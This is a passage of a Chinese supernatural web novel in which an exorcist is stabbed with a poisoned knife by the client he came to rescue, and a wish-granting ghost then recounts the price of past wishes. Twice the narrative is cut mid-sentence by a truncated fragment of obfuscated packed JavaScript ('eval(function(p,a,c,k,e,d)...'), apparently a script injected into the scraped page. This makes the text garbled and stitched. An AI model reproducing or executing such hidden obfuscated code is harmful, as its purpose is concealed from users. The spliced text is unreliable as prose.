他的牙关剧烈地颤抖:“我们都被误导了!这个域的诅咒根本不是沈天合!!” “我知道,冷静点。”周少麟按住他的肩膀,“什么在追你?” “是,”赵嘉言咽了咽口水,仿佛要忍受巨大的恐惧,才能说出那个名字,“是……” 血肉穿透的声音取代了他的回答。 ——一柄短刀直直地捅进周少麟的腹部,从背后凛凛地探出来。 赵嘉言缓缓转动刀柄,旋开伤口,露出一个古怪的、餮足的笑容。 他说:“是我啊。” 13.白幽灵(1) 短刀旋转一圈后利落地抽出,赵嘉言后退几步,避开了飞溅出来的血迹。 黑匣子哐啷一声掉在中间,他上前把它拾起来。 在这么近的距离下,周少麟竟然没有作出任何还击。失去支点的少年不受控制地半跪到地上,一手捂住腹部,剧烈地咳嗽起来! 每一声咳嗽都伴随着涌上喉头的鲜血,滴答地落在地上,须臾化成死一样的漆黑,比黑更黑是混杂其中的内脏碎片。 “刀上喂了毒。”赵嘉言站在不远处,整张脸都笼罩在阴影里。 “东部棕蛇的毒液里有神经毒素和凝血剂,0.05毫克足以让成年人致死。” “脏器破裂,毒素已经发作了。不要挣扎,你会非常的……”赵嘉言顿了顿,“痛苦。” 锋利的短刀垂在他身侧,正在缓缓地往下淌血。 从一开始这就是为杀人准备的武器,他知道自己很弱,因此必须防备所有存在。即使是除魔师,也是人类的躯体。 剧毒在五脏六腑里翻滚,灼烧着每一根神经,割骨剜肉都难以与之相比。周少麟的视野像是断片的屏幕,时黑时白,模糊不清。 “……”他勉强抬起眼:“理由?” 半晌的沉默后,赵嘉言轻声说:“……其实我知道我妈给了你多少钱。” “三十七万,是不是?” “因为她只有三十七万了。”赵嘉言苦笑一声,“那是我攒了好久的、到处借的、给她治病的钱。本来只差几万就够了。” 他的嘴角滑稽地扬起,两行眼泪却流了下来。 “知道吗?少麟,其实我一点都不想你来救我。看到你的时候,我都他妈要疯了。一个二级除魔师要花多少钱才能雇到啊?我妈怎么能那么傻,拿她的救命钱来找我?” “你救我有什么用?就算你把我救出去,报酬一结清,我上哪再去弄几十万?做不成手术,我妈就死定了……你救我有什么用?” 赵嘉言目眦欲裂:“——所以我才会想向白幽灵许愿要钱啊!” “确实,我最开始是想要白幽灵治好我妈。但既然代价很大,我就不那么贪了……但是,至少要让她完成这个手术疗程吧?不然连活下去的机会都没有了啊!” 带着哭腔的吼声回荡在庭院里。赵嘉言泪流满面的脸涨成了红紫色,像是愤怒,又像是痛苦。他剧烈地喘息着,仿佛被这番话抽空了全部力气。 “我……”他哽咽着说,“……一开始,根本就没想杀你。” “所以我没告诉你黑匣子啊。我想许愿要钱,这样就能付清你的报酬,我妈也有救了。” “……可你偏偏告诉我,许愿反而是害了她?许愿没有用?许愿怎么能没用呢?” 赵嘉言抬起满眼的泪花:“许愿没用的话……我不就只能杀了你吗?” ——域里死无对证,杀了周少麟,就不必支付报酬。 母亲的手术费,就不会出现那个致命的缺口。 周少麟依然半跪在地上,虚弱得连咳嗽的力气都没有了,生命力正在以恐怖的速度从身上流逝,象征死亡的青紫色已经沿着脖颈攀上了他的脸。 东部棕蛇的毒液能破坏循环系统,致使脏器衰竭和心搏停止。经过提纯的剧毒流过体内的每一处,很难说他此时是否还有正常运作的器官。 “我不想的,真的不想,一点都不想。” 赵嘉言颤抖着后退,远离这个濒死者,嘴里还在不断低声絮语:“我真的不想杀人,可是我更不能看着我妈死……她是我妈,我必须救她啊!” “换成谁都会这么做的,谁都会。是你先要阻止我的,所以你肯定会死在这里,我不欠你的。你们这些除魔师本来也不在乎人命,我不欠你的……” 他已经不是在回答问题了,只是神经质地喃喃自语。 那张扭曲的脸上一会儿是哭,一会儿是笑。蓄满泪水的眼睛却一眨不眨,空洞得可怕。 “……” 周少麟抬头看向他,气息微弱得像是随时会消散:“……我死后,你怎么出去?” 域里还有另一个诅咒。 疯癫的哭笑戛然而止,赵嘉言像是刚从一场混沌的梦中醒来,随后愣在了原地。 他怎么也没想到周少麟垂死之际的最后一个问题会是这个。 “……”赵嘉言静了片刻,揉揉发红的眼眶,“我有办法。” 他揣紧了怀里的黑匣子:“我已经,和她说好了……” 赵嘉言从口袋里掏出手枪,熟练地上膛,瞄准。花了好一会儿,才控制住手不再发抖。 “所以……”他露出一个比哭还难看的笑容,“你就,不应该,来救我啊!” 枪口吐出火焰! 这是赵嘉言此生最准的一枪,精确无误地射向了三次救他性命者的头颅。子弹尖啸,如死神挥舞镰刀。 “砰!” 枪声响起,赵嘉言瞳孔骤然一缩。 ——没有脑浆迸飞,没有血花高溅。子弹射入围墙,而周少麟消失了! 他简直不敢相信自己的眼睛。除魔师也是人,一个人怎么可能在大量失血又身中剧毒的情况下避开子弹?! 几乎是在下一瞬间,黑影闪现在赵嘉言背后,一记手刀劈向他的后颈! 脑后发出沉闷的巨响,赵嘉言的眼睛立刻翻白了。他分明已经失去了意识,但身体却并未停下动作,仿佛有无形的傀儡丝牵住了他的手—— 在彻底倒下之前,赵嘉言打开黑匣子的锁扣,高高地将它抛了出去! 诅咒既死,依附物就没有开启限制了。黑匣的盖子在半空中旋开,一点白光亮起。 ——白幽灵! 惊变骤生,周少麟第一时间卸下赵嘉言的枪,在抬手的瞬间打空了整个弹匣! 六发子弹连成火焰的幕布,顿时吞没了白光。黑匣子在空中爆裂开来,碎屑纷纷落下。 昏迷的赵嘉言摔倒在地,周少麟立刻向碎片落点跑去。熔金色在他瞳中亮起,近乎无限敏锐的感知在一瞬张开! 但是没有,什么都没有。满地的木屑里,那点白光像是错觉。 他警惕地环顾四周,刚想往前走,却差点一个趔趄摔了下去。刚才的动作再次扯裂了创口,腹部汩汩地往外冒血,剧痛带来一阵阵眩晕。 周少麟抬手拭去嘴角的血迹,眼神黯了黯。 ……该庆幸吗?身体恢复得并没有预想的快。 赵嘉言最后的状态无疑是被什么操纵了,那个东西也想放出白幽灵? 现在封印物已经被破坏,可白幽灵就像是凭空消失了。 刚刚脱离封印的诅咒普遍非常虚弱,所以周少麟选择在第一时间开枪。但他并不认为这样能杀死白幽灵,更别说不留痕迹了。 ——那么,在哪里? 熔金的眸光一寸寸掠过空旷的庭院。 ……在哪里? 目光所及之处根本没有任何可供遮蔽的东西,即使有,在金冥瞳下也无所遁形。可周少麟什么都没看见。 乌云已经彻底遮蔽了月光,漆黑的天幕像是一张密不透风的网,笼罩住整个红梅小区。 不远处的路灯噼啪闪烁着,昏黄的灯光下,空无一人的铁架秋千轻轻摇晃。在落针可闻的寂静中,连心跳声都变得清晰起来。 周围的温度变低了,似乎有块冰无声无息地贴上后背,刺骨的寒气丝丝缕缕地缠绕过来。 周少麟站在原地,一束银白的长发垂落在 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这一刀的迅疾与暴戾无与伦比,淬烈的火焰在黑暗中一闪而过,将悬在空中的幽灵拦腰斩成了两截! 鲜血飞溅如瀑,上下身躯平移分开。周少麟转劈为刺,一刀贯穿女孩的心脏,直接将她钉死在了地上! 刀从胸口刺入,奇异的、暗蓝色的血液涌出。 下一刻,赤金的火焰从龙雀上腾越而起,连带着被贯穿的躯体也熊熊燃烧起来。 烈火转瞬吞噬了女孩,也照亮了周少麟没有一丝血色的脸。他漠无表情地转动刀柄,直到确认那颗不属于人类的心脏被彻底搅碎。 他转过头,倒在原地的下半截身躯并未流血,而是逐渐化作晶莹的白色光点逸散。像是飞起的萤火虫,竟然有种剔透的美感。 漫天的光点落进周少麟的眼里,他心中浮现出一丝困惑。 ……这就消散了? 龙雀是斩断一切的刀刃,它的火焰可以焚尽任何诅咒。被龙雀穿心并焚烧的死物确实没有再生的可能,但战斗结束得太快,他反而无所适从。 ……难道是因为封印太久被削弱了吗?曾盛传于都市、衍生出二级诅咒的白幽灵,竟然被这样轻描淡写地一刀杀死。 她的消失并没有让他安心,只从中觉出强烈的违和感。 “咳!”周少麟忽然捂住嘴,剧烈地咳起嗽来。咳出的血沿着指缝滑落,颜色深得发黑。 刚被压制住的剧毒重新在体内流动起来,灼烧着五脏六腑。肺部像是裂开了,呼吸都带着浓烈的血腥味。 这就是爆发式攻击的后果。在身体近乎枯竭的情况下,这种行为本就是在透支自己。 但他也实在耗不起了。和诅咒对战,生死只在一瞬,往往是先手定胜负。 眼前的世界被混沌的意识撕扯成两半,天地倒悬,处处镀着鲜艳的红色晕边。周少麟拄剑半跪在地,止不住地咳嗽,血中甚至裹着黑色的凝结块。 “诶呀,是不是很痛?” 熟悉的女声响起,听上去懒洋洋的,还有点幸灾乐祸。 “所以说啊,拔刀这么快干嘛,重伤反噬了吧?” 周少麟目光一滞。 “……” 在近乎凝固的空气中,他缓缓抬起头,对上了一双湛蓝的、幽深的眼睛。 银发的女孩迎面向他走来,确切而言是飘,因为她并未落到地面。幽灵轻盈地踏空而行,每一步都如同踩在水上,留下成串的涟漪。 “又见面了。” 她停在自己焦黑的尸体前,扬起一个甜美的微笑:“你好呀!” 14.白幽灵(2) 诅咒的外貌可能千变万化,气息却往往是相同的阴森寒冷。 尽管有时看上去就是人,但你第一眼就会知道她不是人。 女孩肌肤素白,眼瞳幽蓝,垂至腰际的长发流淌着微光。她轻盈地悬在空中,裙摆像是海浪般层层叠叠地绽开。银发与黑裙在风中如有呼吸般起伏,时间都在这呼吸中停止了流动。 直视这种存在的感受无法用语言形容。她的美摄人心魄,又透着非人的诡异。行走在尸体与鲜血之上,也像是置身于锦簇的花丛。 焦黑的尸体正在逐渐化成飞灰,她饶有兴致地看着灰烬飘散远去,像是孩子在欣赏飞舞的蒲公英: “龙雀的业火?好久好久没见到了,还是这么厉害啊。” 女孩微微弯腰,打了个清脆的响指,焦炭霎时从内部爆散开来! 她悠悠道:“就是消失得太慢了。我不喜欢自己这么不好看的样子。” 瞬息间周少麟已经掠到了几米开外,全身绷紧如弓! 熔金的目光死死地锁住前方,按在刀柄上的手青筋跳动。刚才的虚弱一扫而空,他立刻又变回了那个冷酷的杀戮机器。 杀机蔓延在前,女孩却毫不在意。她飘在纷纷扬扬的浮灰之上,提起裙角,盈盈行礼,优雅矜贵得像是在舞会上受到邀请: “又见面了——正式介绍一下自己,我是白幽灵。” 她微微一笑:“如果你想像人类一样称呼我的话,可以叫我白幽。很高兴认识你!” 锋利的杀意停在出刀前一瞬,周少麟目光微凝:“……你不是白幽灵的本体。” ——诅咒绝无可能在被业火焚尽之后再生,唯一的解释就是刚才他杀的不是本体,现在眼前的也不是。 分身死亡无损本体,所以白幽灵如此从容。这份从容的本质是有恃无恐! “说什么呢,我当然是本体。”白幽歪头,“刚刚那个也是。我讨厌分身。” “哦,你是不是在奇怪我为什么没事?”她轻轻笑起来,“好吧!为了我们能更好地交流,就告诉你哦。其实你刚刚那一刀已经杀掉我啦。” 目光毫无波澜地落在滴血的刀尖上,女孩的语气随意得像是在说一个无须证明的事实。 “——所以多少刀都一样。我不会死的,别白费力气了。” * 树影在风中摇摇晃晃,周少麟站在漆黑的影子里,表情晦暗不明。 “或者你想再试试吗?”白幽眨了眨眼睛,“砍下我的头?大卸八块?都可以啊,我不介意的。” 她把玩着自己的长发:“只要你杀完后愿意听我说话就好啦。” “……”握剑的手垂在身侧,周少麟定定地凝视着她,“你想说什么。” “就是在梦里跟你说过的呀!”白幽一下子开心起来,幽蓝的眼瞳都焕出了几分光彩。 “我是来实现你的愿望的,你有什么愿望吗?” “……” 周少麟觉得这个少见的可交流诅咒大概有什么思维缺陷,说话毫无前因后果:“为什么?” “为什么……”白幽抬头看了会儿天,忽然以拳击掌,“哦!想起来了!” “你听说过我的事情对不对?”她扳着光洁如玉的手指,“白幽灵能实现愿望,和白幽灵在找一个人。” 女孩轻笑:“——都是真的哦!” “你知道的,诅咒依附于人类的欲望而生。大部分诅咒都是通过吞噬人类来吸收欲望,但也有极少数诅咒会有别的方式,我就是其中之一。” “我能实现人类的愿望,再从愿望中汲取力量。愿望越强烈,我能得到的力量就越多。所以我喜欢找欲望强烈的人,我也一直在为人类实现愿望。” 白幽垂下眼帘,长长的睫毛在她脸上落下小扇子一样的阴影。 “……按理来说,这样就足够了。但不知道为什么,我脑海里总还有一个声音挥之不去——让我去找到一个人,实现他的三个愿望。 “很奇怪吧?因为我一点都不知道这个人是谁,却觉得就是要这么做。反正谁的愿望我都能实现,那就想办法找到他咯。 “如果想着靠碰运气来找人的话,那就太低效了,所以我开始大面积撒网。 “我先是随便实现了一个人的愿望,再让他告诉别人,这样一传十十传百,很快就会有很多人知道我的存在,这些人中又会有很多人向我许愿。 “我能听到每个许愿者的愿望,如果要找的这个人也向我许愿的话,我就可以感应到了。 “我是这么设想的,一切也非常顺利。人类对神秘存在的好奇心比我想的还要强烈,很快我就成了怪谈白幽灵,每天都有成千上万的人向我许愿。” 白幽叹了口气:“但是一点用都没有!因为那个人没有许愿!我还是怎么都找不到他,烦死了简直!” “不仅人没找到,还时不时就有烦人的除魔师来对我各种试探。有次实现愿望的时候一个不小心,我就不幸地被封印了,关进了个小破匣子里。 “哇你不知道进去之后多无聊!里边黑漆漆一片,什么都没有。虽然我还是能听到外面的愿望,但没办法实现。 “本来呢我还是有在试图听的,但等啊等啊一直没有这个人的愿望。那么多人说话的声音又很吵,我就睡觉了。”白幽打了个哈欠,“睡到现在。” “——但是!柳暗花明又一村!今天我睡醒了想着随便听听吧,就听到了你的声音!” 她兴奋地打了个响指:“原来你就是我要找的人呀!太幸运啦!” 周少麟:“……” 一时不知道该说什么。 虽然在梦里隐隐有所觉察,但他还是没有想到,白幽灵开口前后的气质会有如此差别。 这么活泼的诅咒还真是……挺少见的。 “没想到你是除魔师,难怪不会主动向我许愿。”白幽的语气依然欢快,“本来我还在犹豫要不要花点力气直接打碎封印呢,没想到这么快就被放出来了,真是时来运转呀!” “那么,说说看。”她微笑。 “——你的愿望是什么?” * 风声呼啸,穿过横亘在两人之间的沉默。 “不太理解。”周少麟说,“为什么是我?” “不知道啊。”白幽摊手,“感觉是你就是你。听到声音就知道是你,见到就更确定咯。” “但我不认识你。”周少麟目光微沉,“这和你的执念有关么?” “啊……”白幽怔住,“不是,我有什么执念?” 周少麟一愣。 无论游灵、怨灵、凶灵还是诅咒,诞生就是因为执念。执念是它们存在的根基,或者说它们就是执念本身。 ——死物不可能没有执念,更不可能忘记执念,否则必然消失! 周少麟换了个问题:“实现我的愿望,你能得到什么?” 白幽想了好一会儿,真诚道:“忘记了。” “以前可能是知道的,但睡太久就忘记了……又好像是早就忘记了?反正我也没想过啦。” 看到对面神情不虞,她赶紧补充:“不过可能你许愿完我就会想起来了吧!试试嘛!” 周少麟没有回答。他低着头,握刀的手收紧。 简直匪夷所思。 白幽灵必定不是活人,但她的言行举止又完全违反死物的存在逻辑。 ——龙雀无法杀死她的原因姑且不谈,具备神智的诅咒,怎么可能连自己在做什么都不知道? 但如果是在说谎,她的气息又未免太过平静。 她像是知无不言,同时又一无所知。 失血的眩晕仍未完全好转,周少麟深吸口气,强迫自己保持冷静和清醒。 “你是怎么实现愿望的?”他问,“换而言之,你的天赋能力是什么?” ——天赋能力,诅咒执念所化的诡异力量。 任何诅咒都具备天赋能力,各种各样,千奇百怪,有的是幻术,有的是变形,有的是物质掌控。这是诅咒执念的体现,它们将自己的欲望变成了现实。 声称能实现愿望的高阶诅咒并不少,无非是依凭天赋能力和咒术混淆视听罢了。 “你总算问这个啦!”白幽开心地鼓了几下掌。 “我的能力就是实现愿望啊——确切来说,【因果置换】!” 莹白的光芒在她手心亮起,衬得那张木偶般精致的脸也有了几分生气。她向前伸手,将白光递到周少麟面前。 “只要有人真心对我许愿,这个愿望就会一定会实现。不是什么扭曲的形式哦,想要一百万就真的会到账一百万,想要变漂亮一下就会变漂亮。 “但这并不是我给他们的东西,我只是一个……嗯,媒介?我的天赋能力改变了因果,让他们的愿望得以实现。 “这个天赋对我的力量损耗非常少。相反,只要他们的愿望成真,我就会获得他们愿望中蕴含的力量,这种力量即是我存在的凭依。 “但万物守恒,因果更是如此。人类自己改变了因,也必然自己承担果。这就是愿望的代价,代价与愿望相等。” 白光没有感受到愿望,逐渐散去。女孩收回手:“简单来说就是自负盈亏啦。我是中介,收愿望的力量当中介费!” 她竖起三根手指:“所以,许愿遵循三个原则。” “第一,愿望必须发自真心。” “第二,愿望实现前代价未知。” “第三,代价必然等同愿望。” “每个人想跟我许愿的人,我都会这么告诉他们。”白幽说,“如果他可以接受——他的愿望很强烈,我的心情又刚好不错的话,就会为他实现啦。” “为什么愿望实现前代价未知?”周少麟蹙眉,“你怎么收取代价?” “不是我收取。”白幽摇头,“是他们为自己的愿望买单。我只收取愿望本身的力量而已。” “不是说了嘛,我的能力是改变因果啊。所以在愿望实现之前,无论是许愿者还是我,都不知道代价会是什么。唯一可以确定的就是代价会等于愿望,因果守恒嘛。” “不过,这个‘相等’是对许愿者自己而言。每个人情况都不同,彼此也没法参考。同样是拿一千万,可能有的人会因此断一条腿,有的人只会掉一片指甲,谁知道呢?” “支付代价的时间当然也是未知的。可能马上就要给,可能是十年后,甚至可能到死前才会知道。” 白幽轻轻一笑:“反正未来也充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……不过,他为什么要封印我来着。”女孩脸上浮现一丝困惑,“好过分啊,明明我已经为他实现愿望了。” 她左右张望:“说起来,这里也有点眼熟。这不是沈天合的老家吗?怎么变成域了?你是他的客人?他在哪呢?” 女孩第一次把目光从面前的少年身上移开,好奇地打量起周围。 白色的残骸尚未彻底消失,零星地散落在一片狼藉的庭院里。隐约可以辨认出那些扭曲的残肢,狰狞的人脸,每一张都带着刻骨的怨毒。 一滩红白相间的粘稠液体静静地躺在地上,躺在那个原本离黑匣子最近的地方。这曾属于沈天合的头颅。 她的目光在残骸上一扫而过,继而转向更远的地方。 从出现至今,白幽一直悬在空中,从未落到地上。她的位置比所有人都高,那样轻松散漫,仿佛与这里的所有杀戮、血腥、欲望都无关。 周少麟忽然觉得有些荒诞:“你没有听见他的愿望吗?” “不知道诶,他又许愿了吗?”白幽无所谓道,“其实我一般都不听的,太吵啦。” “……” 短暂的寂静后,周少麟说:“他死了。” “三年前,他发疯杀了妻子,杀了四个邻居,最后自杀,化成了诅咒。他的执念是向你许愿复活妻子。” 熔金的瞳中淬出寒芒,他一字一顿道:“白幽灵,你真的知道这些愿望的代价吗?” * 空气霎时安静了,熔金与幽蓝的眸子对视。都是瑰丽到非人的眼睛,都是目光深深。 第一次,幽灵没有立刻回答他的问题。 白幽悄无声息地落到了地上。 “知道啊。”她的语气依然很平静,“我当然知道了。” “我不是实现了沈天合两个愿望吗?第一个愿望是治好舒涵。第二个愿望是拥有很多很多钱。” “——第一个愿望的代价是他三年后亲手砍死舒涵,第二个愿望的代价是四个讨债人的命?”周少麟面无表情地接过话。 白幽的眼睛倏而睁大。她像是听到了什么好玩的事,唇角下意识地扬起,随后咯咯地笑起来,越笑越开怀,差点没喘上气: “哈哈哈哈,你是这么觉得的吗?太好玩了,怎么猜的呀,哈哈哈哈哈哈!” 在周少麟略微错愕的目光中,她边笑边摆手,“也是啦,线索有限嘛,你在域里能猜到这个份上很了不起了,哈哈哈哈哈哈!” 足足过了半分钟,白幽才勉强止住笑。她忽然向周少麟走去,直到刚好能仰视他的位置才停下,抬起脸。 周少麟下意识地后仰,白幽则微微前倾。两人的距离一下子变得很近,近得他能看清她银白的睫羽,与睫羽下那双空洞的、幽深的眼睛。 女孩眨了眨眼,轻声说:“其实两个你都猜错啦。” “第二个愿望比较离谱——财富的代价怎么会是四条命呢?四个仇人的命就能换来荣华富贵,天下哪有这样的好事啊?” “至于第一个愿望嘛,我确实治好了舒涵,不过……” “这个愿望,没有收取任何代价啊。” 15.白幽灵(3) 白幽轻巧地后退半步,咒力的涟漪以她为中心,向四周荡去! 无形的结界笼罩住了整个庭院,将公寓楼隔绝在外。 “别介意,我只是不想有其他东西来打扰。”白幽将手按在周少麟骤然握紧的刀柄上,语气暧昧,“……因为我们可能需要挺长时间。” 她往前走两步,在那摊石灰水前蹲下来:“既然你还活着,那诅咒沈天合已经死了吧?这些是他吗?” “……”周少麟眸光暗了暗,“是。” 白幽点点头,将手悬在红白液体的上方。无数莹白的光缕升腾而上,聚向她的掌心。 纤细的五指缓缓并拢——她“握住”了什么东西。 白幽站起来,攥成拳的手朝上伸向周少麟。光缕从指缝间溢出,仿佛握着一只明亮的萤火虫。 “记忆碎片。”她邀请,“要一起看吗?” 周少麟目光一凝。 ——从诅咒残骸中提炼记忆,除魔师的基本技巧。 短暂的静默后,他伸出手。 下一刻,莹白的光缕从女孩张开的手心散发出来,淹没了他的视野。 * 映入眼帘的世界是惨白的。 白色的隔间,白色的床铺,白色的针筒和吊瓶。走廊上人声嘈杂,内室却安静得令人心悸,只有刺鼻的消毒水味弥漫在空气里。 “治好啦——!” 医院的重症病房里忽然传出一声欢呼,银发黑裙的女孩开心地原地蹦起来:“不愧是我啊生机术都还记得!真棒真强真厉害!” 话音刚落,沈天合就飞快扑到了病床边,迫不及待地看向病床上的女人。 ——那是他的妻子,舒涵。 她依然闭着眼睛,睡得很沉,呼吸却是从未有过的均匀悠长。被病魔折磨得脱形的脸上重新泛出血色,就连帽子下几绺稀疏的头发,都焕发出生命的光泽。 在检测仪器上,几项基础的生命指标正在奇迹般地回弹。 “这,这……”沈天合的手颤抖起来,眼里闪烁泪光,“她……” “她好啦~”白幽伸了个懒腰,“最好再留院观察一段时间吧,应该很快就会恢复健康了。” “谢谢您!”沈天合激动地往地上一跪就要朝她拜起来,“谢谢您!太谢谢您了!!” 他几乎是走投无路地说出了愿望,却没想到白幽灵真的治好了舒涵。即使依然恐惧这个诡异的女孩,面对治愈妻子的恩情,他心里也只有感激。 “不用谢。”白幽笑吟吟地说,“又不是免费的。” 沈天合身子一僵。 帖子的血字内容在他脑海里浮现出来,冻结住了喜悦。 “那、那也没关系。”他勉强压制住心中的战栗感,“……只要您治好她就好了,我付出什么代价都没关系!” “有觉悟!”白幽啪啪啪地鼓起掌来,“但是也没有别的代价了,你的报酬已经给过啦。” “给过了?”沈天合一愣,“什么时候……” “刚刚呀。”白幽飘到窗台边,俯瞰着灯火通明的夜景,侧脸镀上了一层柔柔的光。 “因为你在公园里陪我说话,让我心情变好了。” 沈天合怔住。 “反正呢,只要许愿者的愿望实现,我就可以获得力量。【因果置换】的天赋可以实现一切愿望,但并不是所有愿望都必须通过篡改因果来实现。把人搞死搞活的事我最擅长啦~所以我就没有用天赋能力,而是用了生机术。” 白幽的眼睛亮闪闪:“——是不是特别特别厉害!我都要佩服我自己了,睡这么久还会用!” 沈天合一时没反应过来,“生机术是……” “一种治愈伤病的法术,现在会这个的通灵者不多了吧。”白幽揉揉脸,打了个困顿的哈欠,“又复杂,又很费力……” 沈天合明白了。 白幽灵一开始就向他说明了许愿的规则,但她却没有使用因果置换的天赋,而是用自己的力量治好了舒涵。 一切愿望皆有代价。她承担了那个代价。 ——就因为在公园里,他以为她是个轻生的女孩,陪她在树下聊了会儿天? 沈天合愣愣地抬起头,看向窗台边那个素白的身影。 惨白的脸,透明的身体,黑洞般的五官,如同琉璃一样死气沉沉的眼珠,与缠绕周身的不详雾气。 从公园里现出真身到现在,白幽灵在他眼中都是这幅恐怖的样子。 那个时候他还恐惧得大喊大叫,质问她是什么东西,发疯地想要逃跑。如果手上有警棍,他大概会毫不犹豫地扔向这个诡异的女孩。 ……可正是这个诡异的女孩,为这样简单的理由帮助了他。 白幽已经在病房里飘了一圈。病房的陈设异常简洁,只有床边的桌柜上放着一个印着猫猫头的软皮笔记本,笔记本上放着一个黄澄澄的小挂饰。 白幽好奇地拎起来晃了晃:“这是什么呀?” ——一个星月夜空款式的手链,表面涂了亮闪闪的彩片。造型还算好看,就是做工有些廉价,大概是小商品市场十块一个的水平。 “之前我妻子给女儿买星星灯,送了串手链。”沈天合解释,“因为有点太大了,她还戴不了,就先放在这里。” 他看着白幽把手链放到灯光下打量,小心道:“您喜欢吗?喜欢的话就拿去吧。” “真的吗?”白幽眼睛骤然一亮,“好诶!那你到时候记得再给女儿买个新的哦!” 她立刻就把手链戴了起来。在戴上的一瞬间,手链图案上的蓝黄涂色瞬间褪去,装饰变成了黑白,只有表面的彩片还闪闪发亮。 白幽摇了摇手腕,看上去很满意这个新饰品。 “谢谢你呀!”她转过头,“还有什么事吗?我有点困,想睡觉了。” 幽蓝的眼睛注视着他。沈天合下意识张了张嘴:“我……” 他看着女孩手腕上闪光的彩片,终于鼓起勇气:“我、我还想跟您说,对不起!” “对不起,我之前不应该对您那副态度!我……我以前没见过灵,我太害怕了,对不起!其实您根本不是网上说的那样,您真的帮助了我们!” 沈天合抬起头,第一次不偏不倚地与白幽灵对视,声音哽咽:“……我、我不知道该怎么报答,谢谢您!真的谢谢您!” 素白的身影悬在眼前,幽冷的压迫感扑面而来,沈天合听到了自己擂鼓般的心跳声。 但他还是强迫自己不要缩回视线。这样太不尊重了,他必须表达最真诚的感谢。 他本就不应该害怕白幽灵——她给予了自己近乎无私的帮助,这样的女孩,怎么可能会是诅咒? 白幽却像是被这番语无伦次的话给吓了一跳。她的神情先是惊讶,然后带上了些许困惑。半晌后,才犹豫地应了一声:“……哦。” “……你是在说,你之前害怕我,现在觉得不应该……吗?” 女孩歪了歪头,“为什么?我是诅咒,你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了还债,沈天合没命地在工地上做活,舒涵也经常加班。两人连沈月都没时间照顾,只希望能快点还清债务,起码把利息按时交上,不要再让那些凶狠的讨债人来打扰他们的生活。 沈月总是问他,爸爸,什么时候可以回家?面对女儿期待的眼神,他却一点也没法回答。 每次看着疲惫的妻子,失望的女儿,沈天合都觉得心在被火烤。 他习惯了忍耐,一点也不怕吃苦,可他不想妻子和女儿跟着受罪。 也许他根本不该去借债治病,可这样,舒涵遇到白幽灵之前可能就会死了……但就算她现在病好了,也不得不辛苦还债……说到底,都是缺钱。 ——钱!钱!钱! 沈天合痛苦地闭上眼睛。 就在此时,来电铃声忽然响了。 一个陌生的号码。谁会这个时候给他打电话? 不详的预感涌上心头,沈天合接通电话,强作镇定:“您好?” “你好,沈先生。”声音含着笑意,“梅花路402号的废楼区三层,您现在方便赏光吗?” 这是一个从未听过的男声,低沉,悦耳,但落到沈天合耳边,却如同惊雷炸响。 手机那端的背景音,是来自妻子和女儿的、颤抖的呜咽。 16.白幽灵(4) 夜幕低垂,四下无人,废楼区是一片伸手不见五指的漆黑。 “——大哥!各位大哥!” 沈天合跪着重重地磕了几个头,眼眶通红,“我错了!我错了!我不该欠债!我马上还,我去卖肾,我去买血,我一定都还!!” 他颤抖着看向远处被五花大绑、瑟瑟发抖的舒涵和沈月,“……求求你们,真的求求你们,放过我老婆孩子吧。她们、她们也没什么用,是不是?” 沈天合又磕了个响头,声音哀凄:“求求大哥了、求求大哥了!我马上还,我真的马上还!求求大哥、求求大哥、发发好心……” 面前是四个穿着黑罩衫的男人,三个站着,一个坐着。站着的有一个胖子,一个魁梧壮汉,一个小胡须。 坐着的那个人戴一幅墨镜,披着熨帖的西装外套。他看上去很随意,翘着腿靠在椅背上。 胖子、壮汉、小胡须,这三个流氓都是平时经常骚扰他们家的,但这个男人,沈天合从来没有见过。 他像是找了个位置来看戏的,却坐在正中间。 沈天合白着脸,努力对他们露出讨好的笑容。 胖子狞笑了一声:“老沈,这回不躲啦?” “不敢、不敢。”沈天合从口袋中扒拉出新结的工钱,赔着笑递上去,“……这、这是三千块,大哥先拿去喝点茶,多宽限几天……” 胖子抓过钞票,蘸着唾沫数了数,又呸了沈天合一脸,“就这点?还利息都不够!” 沈天合急忙磕头:“大哥发发好心、发发好心!” “给你的时间够多了。”壮汉粗着嗓子说,“可沈天合,你是真他娘的不识好歹啊。还整天不回家了呗?” 他抬腿就往沈天合头上揣了一脚:“是不是以为找不到就拿你没招?啊?是不是觉得我们拿你没招!” 沈天合的头磕在水泥地上,发出咚的一声闷响。他脑袋嗡嗡的,挣扎了两下也没爬起来,倒在地上,像只可笑的乌龟。 “看吧,曹大师。”小胡子对墨镜男指了指他,“踢一脚就不行了。真就是废物一个!” 墨镜男看着趴在地上的沈天合,不冷不热地笑了一声,“要是通灵者,确实不该这么窝囊。” 他比了个手势:“行,下去吧。我来问。” 胖子和壮汉立刻低着头退到几步外,小胡子则上去揪住沈天合猛晃一通,“听到没?别他娘装死了,大师要问你事!” 沈天合被晃得头晕眼花,哆哆嗦嗦地看向墨镜男。 “别紧张,沈先生。”墨镜男随意地靠在椅子上,“我不是来催你还债的,就是想问个问题。” 沈天合捂着脑袋,惨笑着点头:“您问,您问!” “是这样的,沈先生。”墨镜男说,“因为你一直欠着不还钱,我们就按照惯例把你好好查了一下。但在这个过程中,我们发现了一件很有意思的事情。” “沈先生,你借钱,是因为一年前你老婆得了癌症,你要给她治病。虽然我很欣赏你这份爱妻的态度,不过照她的病情来看,八成是死定了。” “但三个月前,她却莫名其妙地痊愈,出院,像没得过病一样——为什么?” 沈天合呆在了原地。 “绝症速愈,这根本不是现代医学能实现的,就算是我也做不到。可我问你的老婆和孩子,她们却真的什么都不知道。” 墨镜男意味深长地看着他:“沈先生,为什么呢?” “……”沈天合浑身冰冷,只能木然地摇头,“我、我也不知道。” 